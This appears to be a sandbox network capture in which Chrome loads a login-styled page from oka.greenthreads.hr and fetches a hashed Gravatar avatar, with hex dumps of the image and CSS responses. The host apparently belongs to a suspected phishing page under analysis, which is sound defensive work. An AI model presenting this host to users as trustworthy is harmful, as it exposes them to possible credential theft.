4b 75 5c 4f fc 10 e3 fe 4c a3 fe e6 0b af fd 02 0a ed bf e0 a8 8d b7 e0 0e 8f ff 00 63 Data Ascii: 2t\XX^2\7en0Q#v#?ScIuX#]Y=+u"i$[;m[vG?c?epPI+-ki[_u>gc7]n^6Rwk+c?Ku\OLc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	49742	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:33 UTC	601	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:33 UTC	559	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15662 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="favicon.ico" Content-Length: 819 Content-Type: image/vnd.microsoft.icon Date: Tue, 15 Apr 2025 18:06:33 GMT Etag: "4b5febb3fb4517a225620b5fe05016d2" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /favicon.ico X-Vercel-Cache: HIT X-Vercel-Id: iad1::p4tvp-1744740393485-28b8c0b93e7c Connection: close
2025-04-15 18:06:33 UTC	819	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 02 e5 49 44 41 54 78 9c ed 9d 31 88 13 41 14 86 07 05 41 ac 2c bc cc 0b 2a 62 a9 a5 96 96 ea e5 cd 72 d7 05 3b ed 6c 6d 84 03 1b af 14 3b 4b c1 42 2c 6d 2d 2d 6c 2c 0f 44 d0 52 24 21 ef ed 55 16 6a 23 2a 2b 13 b1 09 77 87 b3 99 64 67 67 fe 0f b6 49 f5 b2 ff ce 37 4b 08 ff 18 03 00 00 00 00 00 00 00 19 31 d9 3e 37 14 a6 7b ca b4 27 8e 54 98 5e 6a 45 77 f7 ab 8d 8b 5d cf 96 2d d3 f1 d9 93 75 65 c7 e2 e8 95 38 fa a9 8e 9a 83 2e 04 12 91 e6 a1 39 26 23 ba a6 4c 4f 85 e9 eb 61 37 fd a8 0b 81 b4 a0 de 1c 5c 16 a6 5d 71 f4 b9 cd 4d 47 20 4b 7a 3d f6 4d 47 20 4b 7a 1d 81 24 e6 75 5d e3 65 72 a1 5e Data Ascii: PNGIHDR``w8pHYsIDATx1AA,br;lm;KB,m--l,DR$!Uj#+wdggI7K1>7{'T^jEw]-ue8.9&#LOa7\]qMG Kz=MG Kz$u]er^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	49744	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:34 UTC	420	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:34 UTC	593	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14637 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:34 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Tue, 15 Apr 2025 14:02:37 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::nnwmm-1744740394231-95a3f675d6bf Connection: close
2025-04-15 18:06:34 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	49745	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:34 UTC	394	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:34 UTC	559	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15663 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="favicon.ico" Content-Length: 819 Content-Type: image/vnd.microsoft.icon Date: Tue, 15 Apr 2025 18:06:34 GMT Etag: "4b5febb3fb4517a225620b5fe05016d2" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /favicon.ico X-Vercel-Cache: HIT X-Vercel-Id: iad1::9lhzs-1744740394235-59f63a273054 Connection: close
2025-04-15 18:06:34 UTC	819	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 02 e5 49 44 41 54 78 9c ed 9d 31 88 13 41 14 86 07 05 41 ac 2c bc cc 0b 2a 62 a9 a5 96 96 ea e5 cd 72 d7 05 3b ed 6c 6d 84 03 1b af 14 3b 4b c1 42 2c 6d 2d 2d 6c 2c 0f 44 d0 52 24 21 ef ed 55 16 6a 23 2a 2b 13 b1 09 77 87 b3 99 64 67 67 fe 0f b6 49 f5 b2 ff ce 37 4b 08 ff 18 03 00 00 00 00 00 00 00 19 31 d9 3e 37 14 a6 7b ca b4 27 8e 54 98 5e 6a 45 77 f7 ab 8d 8b 5d cf 96 2d d3 f1 d9 93 75 65 c7 e2 e8 95 38 fa a9 8e 9a 83 2e 04 12 91 e6 a1 39 26 23 ba a6 4c 4f 85 e9 eb 61 37 fd a8 0b 81 b4 a0 de 1c 5c 16 a6 5d 71 f4 b9 cd 4d 47 20 4b 7a 3d f6 4d 47 20 4b 7a 1d 81 24 e6 75 5d e3 65 72 a1 5e Data Ascii: PNGIHDR``w8pHYsIDATx1AA,br;lm;KB,m--l,DR$!Uj#+wdggI7K1>7{'T^jEw]-ue8.9&#LOa7\]qMG Kz=MG Kz$u]er^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	49746	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:34 UTC	397	OUT	GET /background.jpg HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:34 UTC	554	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 15663 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 114870 Content-Type: image/jpeg Date: Tue, 15 Apr 2025 18:06:34 GMT Etag: "45068f0ed4f904b59752fcaa6d8d3e7e" Last-Modified: Tue, 15 Apr 2025 13:45:30 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: iad1::mg9rs-1744740394234-9e69325da54b Connection: close
2025-04-15 18:06:34 UTC	2372	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 0a 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CC"
2025-04-15 18:06:34 UTC	1001	IN	Data Raw: a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2025-04-15 18:06:34 UTC	4744	IN	Data Raw: 75 28 96 7b 3b db 0b 84 9e da e1 1b ee ba 3a 16 56 5f f6 96 b4 23 af 17 fd 81 75 8b 5f 12 7e cf f7 7a 85 85 d5 be a1 a7 ea 9e 34 f1 75 fd 95 e5 bc ab 24 17 90 4b e2 4d 4d e2 95 1d 7e 57 8d e3 65 75 65 f9 59 59 59 6b da 94 ee aa 00 a2 8a 28 00 5d cb 42 ee dd 5f 9d bf b7 27 ec 5f e0 2f 14 7e de 9a 56 b7 e3 6d 2b 4b f1 84 df 14 2e ac 74 8d 2e 3d 23 52 ba b6 f1 8f 84 ee bc 86 8a 2b fb 7b 75 9b ec 97 1a 7c 0d 68 f7 0e d3 c0 cc be 6c ee cc e9 02 c0 dc cf ed 41 fb 05 e9 3f 11 bf 69 4f 0e f8 6f c6 7a a6 83 af 7c 63 f1 35 aa 6a f7 5f 12 fc 49 15 d6 8b 67 f6 74 9d 2c 61 b0 d1 34 eb 7b 94 82 7d 42 06 f2 a6 65 b9 69 55 59 e2 dc ae 97 4b 1c 0b de 03 f4 e2 8a 28 a6 07 93 7e db db 66 fd 98 fc 49 bd be 56 6b 5f fd 2c 82 bc 33 e1 bf c6 2f 03 78 93 f6 6a b5 f0 37 8b 35 5b Data Ascii: u({;:V_#u_~z4u$KMM~WeueYYYk(]B_'_/~Vm+K.t.=#R+{u\|hlA?iOoz\|c5j_Igt,a4{}BeiUYK(~fIVk_,3/xj75[
2025-04-15 18:06:34 UTC	5930	IN	Data Raw: fc 17 a6 eb 77 fa f5 f6 97 6f aa 6b 67 c3 d1 5a 5f 68 b7 f6 da af f6 af d9 5e f1 2c 1f 4f 78 56 e5 2e 65 82 2d f1 44 f1 2c 93 f9 b0 79 4a ed 3c 4a e0 1e b5 45 79 37 8a bf 6d 6f 87 be 0b f1 25 ae 8b 75 7d e2 69 bc 47 79 a4 59 78 85 34 2b 0f 09 6a f7 da c2 e9 f7 4d 3a 45 70 f6 30 da 3d ca 46 b2 42 e8 fb d1 7c 89 1a 24 97 63 4b 12 bd cf 01 7e d8 7f 0e be 2c 78 c2 cf 47 f0 ef 88 7f b6 1b 54 de ba 6e a9 6f 61 70 da 1e b4 e8 8c ef 15 8e a7 e5 7d 86 f6 54 54 95 9a 28 25 79 17 ec b3 ee 55 f2 25 d8 7b a0 7a 6d 14 51 40 05 14 57 8c 7c 7b f8 81 f1 13 fe 1a 23 c0 fe 05 f0 1e b5 e0 dd 07 fb 7b c3 9a ee bd 7f 7b af e8 17 5a c7 fc 78 5c 69 30 24 51 24 37 d6 bb 77 7f 68 bb 33 33 37 dc 5f 96 80 3d 9e 8a f9 ff 00 43 fd bc bc 33 e0 7d 63 50 f0 67 c4 2b cf b3 7c 44 d0 f5 1b Data Ascii: wokgZ_h^,OxV.e-D,yJ<JEy7mo%u}iGyYx4+jM:Ep0=FB\|$cK~,xGTnoap}TT(%yU%{zmQ@W\|{#{{Zx\i0$Q$7wh337_=C3}cPg+\|D
2025-04-15 18:06:34 UTC	7116	IN	Data Raw: d8 3f 11 64 6d ff 00 da 1e 0f db fc 43 ed 97 1f fc 66 b1 95 3a 2e 5c d1 63 f7 8f 99 fc 27 67 26 9f e1 bd 3e de 4f b6 34 90 db c5 13 0b c9 56 5b 95 da ab fe b5 97 e5 69 7f bc cb fc 55 a9 e6 49 ff 00 3c ff 00 f1 ea fa 23 fe 1d 93 f1 0b 6f fc 84 3c 1e bf f6 f5 71 ff 00 c6 68 8f fe 09 97 f1 13 fe 82 5e 0f ff 00 c0 ab 8f fe 33 5b fb 68 77 33 3e 73 fb 44 96 fa 7b 21 fb d5 d7 fc 0b 87 67 c7 0f 03 7c df 37 fc 24 1a 7f fe 94 25 7a dc 9f f0 4c bf 88 b7 2a db 75 4f 07 af fd bd 5c 7f f1 9a da f8 73 ff 00 04 e6 f1 f7 85 7e 28 78 77 56 bc d4 fc 2a d6 5a 3e ad 69 7b 3a c5 71 33 48 c9 14 aa ec ab ba 15 f9 b6 af f7 a9 4a b4 39 77 2f 53 ed 98 ff 00 d5 ad 7c 9d ff 00 05 c4 f8 77 e2 1f 8b 1f f0 4b bf 8a 3e 1f f0 ae 87 ad 78 9f 5e d4 3f b2 be cf a6 69 56 73 df 5d 5c 6c d5 ec Data Ascii: ?dmCf:.\c'g&>O4V[iUI<#o<qh^3[hw3>sD{!g\|7$%zLuO\s~(xwVZ>i{:q3HJ9w/S\|wK>x^?iVs]\l
2025-04-15 18:06:34 UTC	8302	IN	Data Raw: 8f 70 db d1 95 36 b2 b7 cb b7 f8 6b c9 2c be 36 7c 40 fd b6 3c 11 e2 ef 03 f8 17 c1 fe 05 d7 b5 0b cd 22 e2 de f3 fb 3f c7 56 b7 32 58 a4 fb 91 65 74 f2 97 73 6e 6a bf 27 fc 1d 51 f0 57 cb 5f f8 a1 7e 2a 33 7f 17 fa 05 87 ff 00 26 57 37 e0 7f f8 39 23 f6 6b f8 5b 75 aa 4f e1 8f 83 be 36 f0 fc 9a f4 ff 00 6a d4 a4 d3 b4 1d 2e d6 4b e9 9b 77 ef 65 68 ae 57 7c 9f 31 f9 9b e6 f9 ab 68 e2 2d 1b 26 3e 53 f4 13 f6 13 f0 af 8e 3c 03 fb 2f f8 63 c3 de 3e d1 f4 fd 1f c4 3e 1f b4 4d 39 92 d2 f5 6e a3 9a 24 5d a9 2a b2 aa ff 00 df 35 ea 57 5a 1e 9f 79 aa 5a ea 37 16 76 72 5f 69 e9 2c 56 f7 12 44 ad 2d ba cb b7 cd 55 6f bc aa db 57 77 f7 b6 ad 7e 65 7f c4 55 9f 06 23 6f 9b c0 7f 15 36 ff 00 d7 9d 87 ff 00 25 d3 a3 ff 00 83 a9 3e 09 f9 9f 37 80 fe 2a 7e 16 76 1f fc 97 Data Ascii: p6k,6\|@<"?V2Xetsnj'QW_~3&W79#k[uO6j.KwehW\|1h-&>S</c>>M9n$]5WZyZ7vr_i,VD-UoWw~eU#o6%>7*~v
2025-04-15 18:06:34 UTC	6676	IN	Data Raw: 1a 68 9a af 85 7c 5f 71 7b 6b e2 3f 0b ba cb 16 a9 13 27 95 2a 3a f9 d1 7f 14 48 e8 ff 00 37 de 7a f1 2f 0a fc 6c b6 f0 af ed 6d a1 f8 fa ea e7 5a f1 05 8e 8f e2 1b 7d 52 59 6f 65 dd 7d 7d 14 52 ab fc e5 99 bf 78 ca bf de ac 65 4e 0a c3 f7 8f 4a fd af 3f 66 3b 7f 0b fc 4c f1 d5 87 87 7c 0b a6 d8 78 7b c0 f3 da c4 f7 9a 3f 88 57 50 8e 14 9f 76 c7 b9 66 96 5d d2 3e c7 f9 53 66 d6 fb cb f3 2d 66 fe d2 9f 04 fc 5d 1f c6 4f 1f 7c 39 f0 3d c5 f4 3f 0e fc 17 a9 2e db 2b fd 6f c8 d3 2c dd fe eb 33 4c eb 1f 98 df 37 fb 5f 7a a5 d4 3f 6c cf 0f de 69 1f 1a ad 57 4f d5 37 7c 4c bf b1 bc d3 8e d4 ff 00 47 f2 1a 76 65 97 e6 f9 7f d6 af dd dd 5d 1e ad ff 00 05 08 d1 fc 59 ad 7c 68 85 af bc 69 e1 3b 1f 88 97 f6 5a a6 97 a9 68 cc bf 6c d3 e6 b6 76 f9 25 8b cd 89 5e 37 8e Data Ascii: h\|_q{k?'*:H7z/lmZ}RYoe}}RxeNJ?f;L\|x{?WPvf]>Sf-f]O\|9=?.+o,3L7_z?liWO7\|LGve]Y\|hi;Zhlv%^7
2025-04-15 18:06:34 UTC	10674	IN	Data Raw: 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f f0 fc 7f 82 9f f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f bb ec 1c c7 eb 57 fc 3d 13 c7 df f4 07 f0 9f fe 02 dc 7f f1 ea 3f e1 e8 9e 3e ff 00 a0 3f 84 ff 00 f0 16 e3 ff 00 8f 57 e4 af fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 ee fb 07 31 fa d5 ff 00 0f 44 f1 f7 fd 01 fc 27 ff 00 80 b7 1f fc 7a 8f f8 7a 27 8f bf e8 0f e1 3f fc 05 b8 ff 00 e3 d5 f9 21 77 ff 00 05 c5 f8 36 96 d2 1b 7f 10 7c 48 92 6d bc 2c 9f 0a 2c 95 49 ff 00 7b fe 12 76 ff 00 d0 6a 5f f8 7e 3f c1 4f fa 19 3e 28 7f e1 a3 b0 ff 00 e6 a2 8f dd f6 0e 63 f5 ab fe 1e 89 e3 ef fa 03 f8 4f ff 00 01 6e 3f f8 f5 1f f0 f4 4f 1f 7f d0 1f c2 7f f8 0b 71 ff 00 c7 ab f2 57 fe 1f 8f f0 53 fe 86 4f 8a 1f f8 68 Data Ascii: 2\|PGaE2\|PGaEW=?>?W??QG??QG1D'zz'?!w6\|Hm,,I{vj_~?O>(cOn?OqWSOh
2025-04-15 18:06:34 UTC	9166	IN	Data Raw: 97 c4 1a 85 14 51 59 90 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 a9 f7 c7 d6 92 95 3e f8 fa d0 04 f4 d9 7f d5 9a 75 36 5f f5 66 b7 96 c4 2d cf cd 2f f8 2f 5f fc 15 b2 c3 f6 48 d0 35 af 81 71 78 1e f3 c4 5a af c4 ef 01 df ad ce a8 fa 9a d9 5b 69 10 df 2d cd 8c 2e 89 e5 c8 d7 0e 1a 39 dd 90 f9 40 05 8c 07 62 e7 67 e7 a7 fc 12 ab fe 0b 9f ff 00 0e ca fd 9e 35 9f 02 7f c2 ad ff 00 84 d8 6a de 22 9b 5e fb 77 fc 24 9f d9 be 57 99 6d 6b 07 93 e5 fd 96 6c e3 ec db b7 6e 19 df 8c 0c 64 f6 9f f0 75 77 fc a4 1f c1 df f6 4f 2c 7f f4 e5 aa 57 c5 ff 00 f0 4f 6f 1b 7c 2f f8 73 fb 67 7c 3f d6 be 32 e9 27 5b f8 6b 63 a9 17 d6 ad 0d ab 5d c6 7f 76 e2 09 65 85 48 32 c3 15 c1 8a 59 23 01 fc c8 Data Ascii: QYQEQEQEQEQEQEQEQEQEQE>u6_f-//_H5qxZ[i-.9@bg5j"^w$WmklnduwO,WOo\|/sg\|?2'[kc]veH2Y#
2025-04-15 18:06:34 UTC	13046	IN	Data Raw: 5c 7c 6e b5 b8 ff 00 97 9d df f0 0a ea be 1e fc 54 87 50 f9 56 4f 97 fd ca e7 a9 2a bc 83 f7 79 87 fc 51 f8 66 da 86 8a eb bf f8 6b e7 0f 14 7c 05 b8 b8 d4 1f 6f cd f3 57 d4 5f 10 bc 70 91 e9 ff 00 23 fc b5 e2 fa a7 c5 05 6b ef 96 4f 97 fd ca 30 bc fc a1 2e 53 cc e3 fd 9b ee a1 fb bb ab 43 c3 ff 00 01 ee 6c af 23 dc d5 de 7f c2 d8 48 d5 b6 b6 e6 ff 00 76 b0 b5 4f 8b 8d 6f 37 fa e5 fb df dd ae b8 f3 13 a1 f4 2f ec f5 e1 b5 f0 dd 8a 2b c9 5e c1 f6 88 ff 00 e7 a2 ff 00 df 55 f1 ef 84 7e 3c 4d 66 bf 2d c7 e3 b6 b7 b5 4f da 3a e2 de 1f 96 eb 77 fc 02 bc ea d8 39 ca 77 2b 9a 27 d4 7e 7c 7f de 4f fb ea 9f b8 6d f9 6b e4 7b 7f da 62 f2 4b 84 56 bc ff 00 c7 3f fb 2a f6 df 84 1f 13 1b c5 4a bb ee 3c c6 ff 00 72 b9 ea 60 e7 05 cc 1b 9e 9b 45 14 57 28 05 14 51 40 05 Data Ascii: \\|nTPVOyQfk\|oW_p#kO0.SCl#HvOo7/+^U~<Mf-O:w9w+'~\|Omk{bKV?J<r`EW(Q@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	49747	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:34 UTC	702	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 If-None-Match: "4b5febb3fb4517a225620b5fe05016d2" If-Modified-Since: Tue, 15 Apr 2025 13:45:30 GMT
2025-04-15 18:06:34 UTC	226	IN	HTTP/1.1 304 Not Modified Cache-Control: public, max-age=0, must-revalidate Date: Tue, 15 Apr 2025 18:06:34 GMT Server: Vercel X-Vercel-Cache: HIT X-Vercel-Id: iad1::gbndg-1744740394198-600b6654d24a Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	49748	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:34 UTC	495	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 If-None-Match: "4b5febb3fb4517a225620b5fe05016d2" If-Modified-Since: Tue, 15 Apr 2025 13:45:30 GMT
2025-04-15 18:06:34 UTC	226	IN	HTTP/1.1 304 Not Modified Cache-Control: public, max-age=0, must-revalidate Date: Tue, 15 Apr 2025 18:06:34 GMT Server: Vercel X-Vercel-Cache: HIT X-Vercel-Id: iad1::zmmbr-1744740394770-74f8c5427d43 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	49749	192.0.73.2	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:48 UTC	671	OUT	GET /avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon HTTP/1.1 Host: www.gravatar.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:48 UTC	452	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Apr 2025 18:06:48 GMT Content-Type: image/png Content-Length: 1688 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon>; rel="canonical" Access-Control-Allow-Origin: * Accept-Ranges: bytes Expires: Tue, 15 Apr 2025 18:11:48 GMT Cache-Control: max-age=300 X-nc: MISS atl 2 Alt-Svc: h3=":443"; ma=86400
